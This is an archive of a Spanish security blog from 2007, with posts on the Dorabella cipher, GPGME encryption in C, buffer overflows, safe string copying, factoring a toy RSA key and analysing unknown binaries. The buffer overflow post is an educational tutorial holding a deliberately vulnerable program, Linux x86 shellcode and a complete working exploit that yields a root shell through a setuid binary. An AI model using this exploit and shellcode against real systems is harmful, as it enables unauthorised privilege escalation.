miércoles, 30 de mayo de 2007

El cifrado Dorabella

El 14 de Julio de 1897 el compositor británico Sir Edward William Elgar envió una carta cifrada a su amiga Miss Dora Penny. Un siglo después, la carta todavía no ha sido descifrada. Este curioso cifrado, que ha resistido todo tipo de criptoanálisis hasta la actualidad, consiste en 87 carácteres repartidos en 3 líneas.


Estos extraños caracteres, formados por la unión de semicírculos, parecen constituir un alfabeto de 24 símbolos.

Si se analiza la frecuencia en la que aparecen los símbolos, se puede determinar que es similar a la de un texto en inglés. Sin embargo, los análisis en esta dirección no han obtenido conclusiones satisfactorias.

El cifrado Dorabella es uno de los muchos enigmas sin resolver del mundo de la criptografía y, sin lugar a dudas, uno de los mas curiosos.


Recientemente se ha propuesto una solución en:
http://unsolvedproblems.org/S02.jpg



domingo, 20 de mayo de 2007

Criptografía con GPG y GPGME I

GnuPG es una implementación libre del estándar OpenPGP y una conocida herramienta en criptografía que permite cifrar, descifrar, firmar, verificar firmas y administrar claves.

GnuPG Made Easy o GPGME es una librería que permite acceder a GnuPG de forma sencilla, proporcionando una API de alto nivel.

A continuación vamos a ver como cifrar un archivo. Para ello es necesario disponer de una clave, por lo que si no se dispone de una puede generarse con:
$ gpg --gen-key

Para ver una lista de las claves existentes podemos ejecutar:
$ gpg --list-keys

Y para cifrar un archivo con GPG:
$ gpg --encrypt -r id file
donde id es el identificador de la clave que deseamos usar y file es el fichero a cifrar.

Para hacer lo mismo mediante GPGME usaremos la siguiente función (NOTA: para usar GPGME es necesario incluir la cabecera "gpgme.h").


int gpg_encrypt(char *fingerprint, char *src_path, char *dst_path)
{
gpgme_ctx_t ctx;
gpgme_error_t err;
gpgme_data_t in, out;
gpgme_key_t key[2] = { NULL, NULL};
gpgme_encrypt_result_t result;
#define BUF_SIZE 512
char buf[BUF_SIZE + 1];
int ret;
FILE *f;

gpgme_check_version(NULL);
setlocale(LC_ALL, "");
gpgme_set_locale(NULL, LC_CTYPE, setlocale (LC_CTYPE, NULL));
gpgme_set_locale(NULL, LC_MESSAGES, setlocale (LC_MESSAGES, NULL));

if( (err=gpgme_engine_check_version (GPGME_PROTOCOL_OpenPGP)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

if( (err=gpgme_new(&ctx)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

gpgme_set_armor(ctx, 1);

if( (err=gpgme_data_new_from_file (&in, src_path, 1)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

if( (err=gpgme_data_new(&out)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

if( (err=gpgme_get_key(ctx, fingerprint, &key[0], 0)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

if( (err=gpgme_op_encrypt(ctx, key, GPGME_ENCRYPT_ALWAYS_TRUST,
in,out)) !=0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

result = gpgme_op_encrypt_result(ctx);
if (result->invalid_recipients)
{
fprintf(stderr,"Invalid recipient: %s\n",result->invalid_recipients->fpr);
return EXIT_FAILURE;
}

if( (f=fopen(dst_path, "w+")) == NULL)
{
perror("fopen()");
return EXIT_FAILURE;
}

if( (ret=gpgme_data_seek (out, 0, SEEK_SET)) != 0)
{
err = gpgme_err_code_from_errno (errno);
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

while( (ret = gpgme_data_read (out, buf, BUF_SIZE)) > 0)
fwrite (buf, ret, 1, f);

if(ret<0)
{
err = gpgme_err_code_from_errno (errno);
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

gpgme_key_unref (key[0]);
gpgme_key_unref (key[1]);
gpgme_data_release (in);
gpgme_data_release (out);
gpgme_release (ctx);

return EXIT_SUCCESS;
}

Llamando a esta función con los parámetros adecuados cifraremos un fichero tal y como lo haríamos desde la shell con el comando gpg. Un ejemplo de llamada a la función sería el siguiente:

if(gpg_encrypt("F1234567", "secreto", "secreto.gpg") != 0)
{
... // error
}


Para compilar un programa que usa la librería GPGME disponemos de gpgme-config, que nos permite obtener los flags necesarios y las librerías. Un ejemplo de compilación es el siguiente:

$ gcc `gpgme-config --cflags --libs` -D_FILE_OFFSET_BITS=64  test.c


Finalmente, para descifrar un archivo con GPG podemos ejecutar el siguiente comando:
$ gpg --decrypt  file

GPG nos solicitará la contraseña y descifrará el archivo.

Pueden encontrarse más ejemplos de como usar esta librería en las fuentes de: GPGME.

Buffer Overflow


En este post se describe el funcionamiento de los ataques por buffer overflow. Existen muchos documentos que se ocupan de este tema, aunque considero que en su mayoría complican demasiado la explicación de un concepto que en absoluto es complicado. El objetivo de este documento es dar un enfoque sencillo y educativo al buffer overflow. Espero haberlo conseguido.

¿Qué es un buffer overflow?

Un buffer overflow, como su mismo nombre indica, consiste en escribir en un buffer mas datos de los que es capaz de contener. En el lenguaje C este caso suele darse en funciones que no comprueban el tamaño de los buffers, como strcpy(), sprintf(), etc. Un ejemplo típico y sencillo es el siguiente:



/* vulnerable.c */

void vulnerable (char *param) 
{
char buffer[512];
strcpy (buffer, param);
}

int main (int argc, char **argv) 
{
if (argc!=2) 
{                                                                             
printf ("Uso: %s \n", argv[0]);
return 0;
}

vulnerable (argv[1]); 
return 0;
}




Como se puede ver en el programa anterior el buffer ha sido diseñado para contener un máximo de 512 bytes. El (mal) uso de la funcion strcpy() permite al usuario del programa copiar en el buffer más de 512 bytes, desbordandolo.


$ gcc vulnerable.c -o vulnerable
$ ./vulnerable `perl -e "print 'A'x1000;"`
Violacion de segmento



El resultado de pasar como parametro un cadena de 1000 As, ha sido un fallo de segmentación. Veamos cuál es el motivo.

El programa vulnerable, en una maquina Linux x86, utilizaría la pila del sistema como en el siguiente dibujo:


__________________  <------ %esp (Stack Pointer)
|                  |
|       ...        |
|                  |
|__________________|
|      buffer      |
|__________________|
|      buffer      |
|__________________|
|      buffer      |
|__________________|
|  Frame Pointer   |
|__________________|
|  Return address  |
|__________________|
|      param       |
|__________________|
|      param       |
|__________________|
|      param       |
|__________________|
|                  |
|       ...        |
|                  |
|                  |


El stack pointer es un registro que guarda la dirección donde empieza la pila. Esta dirección suele ser siempre la misma en todos los programas. Cuando un programa llama a una función debe guardar la dirección en la que se encuentra para saber donde volver cuando la función termine. Esta dirección se guarda en el stack y es conocida como dirección de retorno. Cuando empieza la funcion vulnerable(), se guarda en la pila los parámetros que recibe la función (param), la dirección de retorno, el frame pointer y a continuación las variables que se declaran en la función. En nuestro caso, buffer. Quedando como en el dibujo anterior. Al desbordar buffer con la cadena de letras A (en hexadecimal 0x41), primero se sobreescreibiría el Frame Pointer, después se sobreescribiría la dirección de retorno (return address), después los parametros, etc. Quedando la pila de la siguiente manera:
__________________  <------ %esp (Stack Pointer)
|                  |
|       ...        |
|                  |
|__________________|

|    0x41414141    |  <-- buffer
|__________________|
|    0x41414141    |  <-- buffer
|__________________|
|    0x41414141    |  <-- buffer
|__________________| 
|    0x41414141    |  <-- Frame Pointer
|__________________|
|    0x41414141    |  <-- Return address
|__________________|
|    0x41414141    |  <-- param
|__________________|
|    0x41414141    |  <-- param
|__________________|
|    0x41414141    |  <-- param
|__________________|
|                  |
|       ...        |
|                  |
|                  |

Cuando la función termine sacará la dirección de retorno de la pila y saltara a ella. Esta dirección ha sido modificada por el overflow y ahora es 0x41414141 (las As en hexadecimal). Al saltar a 0x41414141 e intentar ejecutar una instrucción, como se encuentra fuera del espacio de direcciones, obtendra un fallo de segmentación. Es evidente que esto nos permite cambiar el flujo de ejecución del programa. Solo tenemos que ser capaces de sobreescribir la dirección de retorno con una dirección que apunte a algun lugar de la pila con codigo ejecutable. Imaginemos que somos capaces de sobreescribir la pila con nuestro buffer overflow de manera que quede como en el siguiente dibujo:
             __________________  <------ %esp (Stack Pointer)
            |                  |
            |       ...        |
            |                  |
            |__________________|
   ------>  | NOP NOP NOP NOP  |  <-- buffer
  |         |__________________|
  |         | NOP NOP NOP NOP  |  <-- buffer
  |         |__________________|
  |         |    SHELLCODE     |  <-- buffer
  |         |__________________| 
  |         | RET RET RET RET  |  <-- Frame Pointer
  |         |__________________|
   -------  | RET RET RET RET  |  <-- Return address
            |__________________|
            | RET RET RET RET  |  <-- param
            |__________________|
            | RET RET RET RET  |  <-- param
            |__________________|
            | RET RET RET RET  |  <-- param
            |__________________|
            |                  |
            |       ...        |
            |                  |
            |                  |


Donde NOP es una operación del procesador que no hace nada, SHELLCODE es nuestro código ejecutable y RET una dirección de retorno falseada que apunta a algun lugar de la zona de NOPs. Si todo saliese bien, cuando el progama saltase a la dirección de retorno (modificada por el buffer overflow) iría a parar a algun lugar de la zona de NOPs y a continuación pasaria de un NOP al siguiente hasta llegar a la SHELLCODE, que sería ejecutada. ¿Sencillo no? Pues solo es necesario desarrollar un programa (o exploit) que cree un buffer con las características mencionadas. El único problema con el que nos podemos encontrar consiste en averiguar a que distancia del stack se encuntra la zona de NOPs. Si no acertamos, nuestro programa saltara a una zona equivocada, produciondo un error de segmentación, de intrucción no valida, etc. Por este motivo nuestro exploit debera ser un programa parametrizado que nos permita modificar el offset (distancia del stack pointer a la zona de NOPs). Antes de empezar con el desarrollo del exploit, es necesario hacer algunos comentarios acerca de la shellcode: La shellcode es el código ejecutable que hay que colocar en el stack. Ahora no entraré en como se desarrolla. Solo diré que consiste en un código hexadecimal que depende del sistema operativo y la plataforma. En el exploit de ejemplo se utilizara la siguiente:
\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd
\x80\x31\xc0\x40\xcd\x80
Este código, para Linux x86, proporciona una shell interactiva al usuario. Desarrollo de un exploit: Según se ha explicado en el apartado anterior, el desarrollo del exploit consiste en crear un buffer con unas caracteristicas especiales, y utilizarlo para desbordar el programa vulnerable. Los pasos a seguir por el exploit son los siguientes:
1. Crear un buffer de tamañoo superior al buffer original. Unos 100 bytes mas son suficientes. Aunque en nuestro caso bastaría con unos cuantos menos. 2. Buscar el stack pointer. Con una función como la siguiente:
unsigned long get_sp(void) 
{   
__asm__("movl %esp,%eax"); 
}

3. Obtener una dirección de retorno restando un offset a la dirección del stack pointer. 4. Rellenar el buffer con la estructura estudiada. Más o menos asi:
BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR
5. Ejecutar el programa vulnerable con nuestro buffer como parametro. Veamos el programa de ejemplo:
/* exploit.c */

#define NOP 0x90

char shellcode[]=
"\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80";

/* Retorna el stack pointer */
unsigned long get_sp(void) 
{
__asm__("movl %esp,%eax");
}

int  main(int argc, char *argv[]) 
{                                                                                
char *buffer;
char *pbuffer;

long *addr_pbuffer;
long  nop_addr;

int offset=0;
int size;
int i;

if (argc!=3) 
{                                                                             
printf ("Uso: %s  \n", argv[0]);
return 0;
}

size  = atoi(argv[1]) + 100;
offset = atoi(argv[2]);

if (!(buffer = malloc(size))) 
{                                                                             
printf("malloc()\n");
exit(0);
}

/* Direccion aproximada de la zona de NOPs */
nop_addr = get_sp() - offset;

/*
*  Llenamos el buffer con la direccion de retorno (R):
*  BUFFER: RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
*/
pbuffer = buffer;
addr_pbuffer = (long *) pbuffer;
for (i = 0; i < size; i+=4)
*(addr_pbuffer++) = nop_addr;

/*
*  Llenamos la primera mitad del buffer con NOPs
*  BUFFER: NNNNNNNNNNNNNNN RRRRRRRRRRRRRRRR
*/
for (i = 0; i < size/2; i++)
buffer[i] = NOP;

/*
*  Ponemos la shellcode (S) en la mitad del buffer
*  BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR
*/
pbuffer = buffer + ((size/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(pbuffer++) = shellcode[i];

/* Delimitamos el final del buffer */
buffer[size - 1] = '\0';

/* Ejecutamos el exploit */
execl("./vulnerable", "vulnerable", buffer, 0);

return 0;
}
Probemos nuestro exploit:
$ gcc exploit.c -o exploit
$ ./exploit
Uso: ./exploit  
Pasamos como parametro el tamaño del buffer de nuestro programa vulnerable y, de momento, un offset de 0.
$./exploit 512 0
sh-2.05b#
A la primera! Mucha suerte hemos tenido. Probemos con un buffer inferior. Compilemos vulnerable con un buffer de 256.
...
char buffer[256];
strcpy (buffer, param);
...
$ gcc vulnerable.c -o vulnerable
$  ./exploit 256 0
Instruccion ilegal
$ ./exploit 256 100
Violacion de segmento
$ ./exploit 256 200
Violacion de segmento
$ ./exploit 256 300
Instruccion ilegal
$ ./exploit 256 400
Violacion de segmento
$ ./exploit 256 500
sh-2.05b# 
En pocos intentos ya tenemos nuestra shell. Hagamos una última prueba con un buffer de 2048 bytes.
...
char buffer[2048];
strcpy (buffer, param);
...

gcc vulnerable.c -o vulnerable
$ ./exploit 2048 0
Instruccion ilegal
$ ./exploit 2048 500
Instruccion ilegal
$ ./exploit 2048 1000
sh-2.05b#
Como puede comprobarse, no resulta muy dificil encontrar la distancia desde el stack pointer a la zona de NOPs. Para finalizar veamos un ejemplo de como puede utilizarse un ataque de buffer overflow para escalar privilegios. Supongamos un programa vulnerable setuid. Podemos crear uno con:
$ chmod +s vulnerable
$ ls -lh vulnerable
-rwsr-sr-x  1 root root 4,9K jul 26 17:49 vulnerable
... y un usuario sin privilegios:
$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)
El usuario sin privilegios puede explotar vulnerable y obtener su privilegio de root. Veamos:
$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)
$ exploit 2048 1000
sh-2.05b# id
uid=0(root) gid=500(pepito) groups=500(pepito)
Referencias:
Smashing The Stack For Fun And Profit
http://www.phrack.org/phrack/49/P49-14

How to write Buffer Overflows
http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html

viernes, 18 de mayo de 2007

Sobre str*cpy() y str*cat()

Es bien conocido por los programadores de C los problemas de seguridad asociados a las funciones strcpy() y strcat(). El hecho de que no verifiquen la longitud de los datos que se estan copiando da origen a graves desbordamientos de buffer. Para evitar este problema se suelen usar las funciones strncpy() y strncat() respectivamente. Ambas, copian únicamente el número de bytes especificados. Aunque esto representa una mejora considerable sobre strcpy() y strcat() continua existiendo un problema. Si se sobrepasa el tamaño máximo en la copia, estas funciones no finalizan el string en NULL. Veamos un ejemplo de lo que pasa:


int main()
{
char a[32];
char b[8];
char *c = "aaaaaaaa";

strcpy(a, "informacion sensible");
strncpy(b, c, 8);

printf("%s\n", b);

return 0;
}



Si ejecutamos este código, la lógica nos dice que el resultado debería ser:
aaaaaaaa


Sin embargo, dado que strncpy() no pone un null al final por haber sobrepasado la lóngitud máxima (en este caso 8), el resultado será:

aaaaaaaainformacion sensible


dando lugar a un fallo de seguridad.


Para evitar este tipo de problemas existen dos opciones. La primera consiste en asegurarnos de que se pone un NULL al final del string. Por ejemplo añadiendo:
b[7]=0;


La sengunda consiste en usar funciones seguras como strlcpy() y strlcat(). Pero estas funciones no son estándar, así que no suelen estar en algunos sistemas (como por ejemplo GNU/Linux). Así que a continuación dejo una copia:


void strlcpy(char *dst, char *src, size_t size)
{
size_t len = size;
char*  dstptr = dst;
char*  srcptr = src;

if(len && --len)
do { if(!(*dstptr++ = *srcptr++)) break; } while(--len);

if (!len && size) *dstptr=0;
}




void strlcat(char *dst, char *src, size_t size)
{
size_t len = size;
size_t dstlen;
char *dstptr = dst;
char *srcptr = src;

while(len-- && *dstptr)
dstptr++;

dstlen = dstptr-dst;

if(!(len=size-dstlen))
return;

while(*srcptr)
{
if(len!=1)
{
*dstptr++ = *srcptr;
len--;
}
srcptr++;
}
*dstptr=0;
}

domingo, 13 de mayo de 2007

Rompiendo claves RSA

Aunque hoy por hoy no es posible romper una clave RSA de más de 1024 bits ni con miles de computadoras trabajando en paralelo, los algoritmos de factorización no dejan de mejorar. A continuación voy a explicar cómo romper una clave RSA relativamente pequeña usando uno de estos algoritmos.

Primero crearemos un entorno de pruebas con el que cifrar y descifrar. Usaremos la herramienta openssl.

Generamos un par de claves RSA de 256 bits.
$ openssl genrsa -out privkey.pem 256

# Extraemos la clave publica
$ openssl rsa -in privkey.pem -pubout -out pubkey.pem
$ cat pubkey.pem
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAK1/eaHlW68OrwaeT/X6V9mx4pkvE8mW
QScrI2z8UVBhAgMBAAE=
-----END PUBLIC KEY-----

# Algo que cifrar
$ echo ";)" > msg.txt

# Ciframos (con la clave publica)
$ openssl rsautl -encrypt -pubin -inkey pubkey.pem -in msg.txt -out msg.enc

# Desciframos (con la clave privada)
$ openssl rsautl -decrypt -inkey privkey.pem -in msg.enc
;)


Ya tenemos nuestro entorno de pruebas con un par de claves que nos pemiten cifrar y descifrar mensajes. Como RSA es un criptosistema asimétrico se supone que deberíamos distribuir la clave pública, mientras que guardaríamos con recelo la clave privada.

Nuetro objetivo será obtener la clave privada partiendo únicamente de la clave pública. Una vez obtenida descifraremos el mensaje.

RSA basa su fuerza en el problema de factorización de números grandes. Un problema matemático para el que no se conoce un algoritmo que lo resuelva de forma eficiente. Entre los algoritmos más rápidos destacan QS y NFS. Ambos implementados por la genial herramienta msieve (Instalar).

Lo primero que necesitamos es el módulo n y el exponete de cifrado. Los dos se pueden obtener facilmente a partir de la clave pública.

$ openssl rsa -in pubkey.pem -pubin -text -modulus
Modulus (256 bit):
00:ad:7f:79:a1:e5:5b:af:0e:af:06:9e:4f:f5:fa:
57:d9:b1:e2:99:2f:13:c9:96:41:27:2b:23:6c:fc:
51:50:61
Exponent: 65537 (0x10001)
Modulus=AD7F79A1E55BAF0EAF069E4FF5FA57D9B1E2992F13C99641272B236CFC515061
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAK1/eaHlW68OrwaeT/X6V9mx4pkvE8mW
QScrI2z8UVBhAgMBAAE=
-----END PUBLIC KEY-----


Observemos que el módulo está en hexadecimal. Para continuar será necesario pasarlo a decimal. A continuación, lo factorizamos con msieve:


$ msieve -v 78475351858145546395020889284272950035474797715255953445997961959441362407521

Obteniendo como resultado los factores:
262908038773065572592762474383232893183
298489738938272421513567914663780208287

Únicamente nos quedará recuperar la clave original a partir de los datos obtenidos. Usaremos el programa get_priv_key.


$ ./get_priv_key 262908038773065572592762474383232893183 298489738938272421513567914663780208287 \ 
65537
-----BEGIN RSA PRIVATE KEY-----
MIGrAgEAAiEArX95oeVbrw6vBp5P9fpX2bHimS8TyZZBJysjbPxRUGECAwEAAQIg
L/uaWxEAq0iHVXBBMwk6dDC0mJubL4dVLLdiaA01NPUCEQDgjwhah0l/hqX+D3Xh
3s6fAhEAxco/F01rh+Uzf+LV2K6A/wIRANOCxcqHPRpKGFV5+H3cYF8CEEN8O0Sf
JNZsTMMQyXgyKk8CEQCRfomgf/LY71boM54D8a5C
-----END RSA PRIVATE KEY-----


Con la nueva clave privada ya podemos acceder al mensaje cifrado.


$ openssl rsautl -decrypt -inkey cracked_privkey.pem -in msg.enc
;)





Referencias:
- RSA Labs.
- Ataque de factorización a RSA (hakin9 nº19).
- On the cost of factoring RSA 1024.

Introducción al análisis de binarios

En ocasiones, frecuentemente después de un ataque, quizás durante un análisis forense, podemos encontrar misteriosos binarios en la máquina. Programas que pueden haber sido dejados por el atacante, asi como herramientas que ha utilizado o incluso binarios del sistema troyanizados.

Pueden utilizarse diversas técnicas para obtener pistas sobre lo que hace ese binario, pero lo que si esta claro que no hay que hacer, es ejecutarlo. Quién sabe que podría hacer con nuestro sistema: borrar todas rastro del ataque, destruir ficheros, o ...

Es posible que tengamos suficiente consultando Internet para averiguar que programa es. Aunque esto no siempre es suficiente, ya que econtraremos
programas con nombres poco identificativos o programados por el mismo intruso.

En este post se describe brevemente como utilizar algunas herramientas de Linux para descubrir que hace un programa del que no disponemos de codigo fuente.

Qué tipo de fichero es?

Para obtener información del tipo de fichero, en Unix disponemos de la herramienta file. Veamos un ejemplo de su uso con dos programas desconocidos;
a.out y b.out:


$ file a.out
a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
2.2.5, dynamically linked (uses shared libs), not stripped

# file b.out
b.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
2.2.5, statically linked, not stripped
Podemos observar una diferencia importante entre los dos programas analizados. a.out esta enlazado dinámicamente y b.out esta enlazado estáticamente. Por defecto, en compiladores como gcc, se enlaza dinámicamente. Medinate el flag -static podemos compilar un ejecutable estático, y hacer de esta manera que no dependa de librerías externas.

Los binarios estáticos son mucho mas grandes que los dinámicos, ya que el ejecutable final dispone de todas las librerías necesarias. Estos serán más difíciles de analizar, debido a la gran cantidad de informacion que pueden contener.

Ejemplo de compilacion dinamica:
$ gcc src.c -o a.out

Ejemplo de compilacion estatica:
$ gcc -static src.c -o b.out

Resultado:
$ ls -lh
-rwxr-xr-x  1 dlerch dlerch 5,5K nov  8 12:21 a.out
-rwxr-xr-x  1 dlerch dlerch 405K nov  8 12:21 b.out
-rw-r--r--  1 dlerch dlerch 1,5K nov  8 12:10 src.c

Otra información importante que ofrece el comando 'file' es si el binario es 'striped' o 'no striped'. Si el binario es 'striped' esto significará; que el programador ha eliminado los símbolos del fichero objeto. Simbolos que genera el compilador y que nos ayudarían enormemente en nuestra búsqueda de la funcionalidad del mismo.

Estos simbolos pueden eliminarse con el comando 'strip':
$ ls -lh a.out
-rwxr-xr-x  1 root root 5,5K nov  8 12:30 a.out
$ strip a.out
$ ls -lh a.out
-rwxr-xr-x  1 root root 3,6K nov  8 12:31 a.out
En el siguiente apartado se explica el uso del comando 'nm', el principal afectado del uso de 'strip'.

Analisis de los símbolos del fichero objeto.

El comando 'nm' sirve para listar los símbolos del código objeto. Por este motivo si el binario no dispone de símbolo debido a que se ha aplicado sobre el el comando 'strip', 'nm' no nos servira de nada.

$ strip a.out
$ nm a.out
nm: a.out: no hay simbolos

En caso de que el binario disponga de los símbolos el resultado puede darnos algunas indicaciones. Si además, el binario ha sido compilado para ofrecer información de depuración (flag -g, poco probable), todavía dispondremos de más información.

$ nm -a a.out

[Se ha suprimido parte de informacion, para abreviar]

080497f8 A __bss_start
08048454 t call_gmon_start
080497f8 b completed.1
00000000 a crtstuff.c
00000000 a crtstuff.c
080496e0 d __CTOR_END__
080496dc d __CTOR_LIST__
080497ec D __data_start
080497ec W data_start
0804866c t __do_global_ctors_aux
08048478 t __do_global_dtors_aux
080497f0 D __dso_handle
080496e8 d __DTOR_END__
080496e4 d __DTOR_LIST__
080496f0 D _DYNAMIC
080497f8 A _edata
080497fc A _end
      U exit@@GLIBC_2.0
08048690 T _fini
080496dc A __fini_array_end
080496dc A __fini_array_start
080486ac R _fp_hw
080484b4 t frame_dummy
080486d8 r __FRAME_END__
080497bc D _GLOBAL_OFFSET_TABLE_
      w __gmon_start__
      U htons@@GLIBC_2.0
      U inet_ntoa@@GLIBC_2.0
08048378 T _init
080496dc A __init_array_end
080496dc A __init_array_start
080486b0 R _IO_stdin_used
080496ec d __JCR_END__
080496ec d __JCR_LIST__
      w _Jv_RegisterClasses
08048628 T __libc_csu_fini
080485e0 T __libc_csu_init
      U __libc_start_main@@GLIBC_2.0
080484e0 T main
      U ntohs@@GLIBC_2.0
080497f4 d p.0
      U perror@@GLIBC_2.0
080496dc A __preinit_array_end
080496dc A __preinit_array_start
      U printf@@GLIBC_2.0
      U read@@GLIBC_2.0
      U socket@@GLIBC_2.0
00000000 a src.c
08048430 T _start

Como podemos observar en la salida del comando anterior, se utilizan ciertas llamadas a la librería de C como: exit, htons, inet_ntoa, ntohs, perror, printf, read o socket. Es especialmente interesante el hecho de que existen algunas funciones de red como socket(). Sin duda este programa dispone de alguna funcionalidad de red. Sigamos investigando.

Obtener cadenas de texto.

Existe un comando que nos permite obtener las cadenas de texto que se mantienen en el fichero ejecutable. Esto nos permite obtener cierta informacion de forma rapida y sencilla. Este comando es 'strings':

$ strings a.out
/lib/ld-linux.so.2
_Jv_RegisterClasses
__gmon_start__
libc.so.6
printf
perror
socket
read
ntohs
inet_ntoa
htons
exit
_IO_stdin_used
__libc_start_main
GLIBC_2.0
PTRh(
socket()
src: %s:%d              dst: %s:%d

Al parecer no hay mucha información que no nos haya proporcionado ya el comando 'nm', aunque sin duda, parte de esta información la ofrece 'strings' de una forma mas legible.

Adicionalmente al comando anterior obtenemos la cadena:

src: %s:%d              dst: %s:%d

El objetivo de este programa salta a la vista ...

Analisis dinámico


Una vez estamos mas o menos seguros de que el programa no dañaría nuestro sistema en caso de ser ejecutado, podemos realizar un análisis dinámico. Este pasa por ejecutar el programa.

Disponemos de dos programas muy interesantes para hacer esto: strace y ltrace. El primero nos informa de las llamadas al sistema que efectúa el
programa, mientras que el segundo informa de las librerías a las que
llama.

Veamos una ejecucion del primero:

$ strace -o strace.out ./a.out
src: 192.168.0.3:8449          dst: 192.168.0.3:7
src: 192.168.0.3:8450          dst: 192.168.0.3:7
src: 192.168.0.3:8451          dst: 192.168.0.3:7
src: 192.168.0.3:8452          dst: 192.168.0.3:7
src: 192.168.0.3:8453          dst: 192.168.0.3:7
...
[ Finalizamos con Contrl+C ]

$ cat strace.out
execve("./a.out", ["./a.out"], [/* 37 vars */]) = 0
uname({sys="Linux", node="hackerbox", ...}) = 0
brk(0)                                  = 0x804a000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or
directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=131688, ...}) = 0
old_mmap(NULL, 131688, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf6fdf000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\313"..., 512) =
512fstat64(3, {st_mode=S_IFREG|0755, st_size=1455084, ...}) = 0
old_mmap(0xaa8000, 1158124, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xaa8000
old_mmap(0xbbd000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x115000) = 0xbbd000
old_mmap(0xbc1000, 7148, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xbc1000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xf6fde000
mprotect(0xbbd000, 8192, PROT_READ)     = 0
mprotect(0xaa0000, 4096, PROT_READ)     = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xf6fde300, limit:1048575,
seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1,
seg_not_present:0, useable:1}) = 0
munmap(0xf6fdf000, 131688)              = 0
socket(PF_INET, SOCK_PACKET, 0x300 /* IPPROTO_??? */) = 3
read(3, "\1\0^\0\0\22\0\0^\0\1\1\10\0E\20\0008\337\310@\0\377p\254"..., 54) =
54fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xf6fff000
write(1, "src: 192.168.0.3:8449\t\tdst: 192"..., 45) = 45
read(3, "\1\0^\0\0\22\0\0^\0\1\2\10\0E\20\0008\207\324@\0\377p\4"..., 54) = 54
write(1, "src: 192.168.0.3:8450\t\tdst: 192"..., 45) = 45
read(3, "\1\0^\0\0\22\0\0^\0\1\3\10\0E\20\0008\312\334@\0\377p\301"..., 54) =
54write(1, "src: 192.168.0.3:8451\t\tdst: 192"..., 45) = 45
read(3, "\1\0^\0\0\22\0\0^\0\1\4\10\0E\20\0008\302\214@\0\377p\311"..., 54) =
54write(1, "src: 192.168.0.3:8452\t\tdst: 192"..., 45) = 45
read(3, "\1\0^\0\0\22\0\0^\0\1\5\10\0E\20\0008\213\370@\0\377p\0"..., 54) = 54
write(1, "src: 192.168.0.3:8453\t\tdst: 192"..., 45) = 45
read(3, "\0\4u\201\335L\0\260\320\276Z\271\10\0E\0\0004\36\370@"..., 54) = 54
--- SIGINT (Interrupt) @ 0 (0) ---
+++ killed by SIGINT +++

Y con ltrace:


$ ltrace -o ltrace.out ./a.out
src: 192.168.0.2:22            dst: 192.168.0.2:57378
src: 192.168.0.1:57378                dst: 192.168.0.1:22
src: 192.168.0.2:22            dst: 192.168.0.2:57378
src: 192.168.0.1:57378                dst: 192.168.0.1:22
src: 192.168.0.1:57378                dst: 192.168.0.1:22
...
[ Finalizamos con Contrl+C. Podemos ver la captura ]

$ cat ltrace.out
__libc_start_main(0x80484e0, 1, 0xfefff734, 0x80485e0, 0x8048628 

htons(3, 0, 0, 0, 0)                             = 768
socket(2, 10, 768)                               = 3
read(3, "", 54)                                  = 54
ntohs(5632)                                      = 22
inet_ntoa(0xfd92550)                             = "192.168.0.2"
ntohs(8928)                                      = 57378
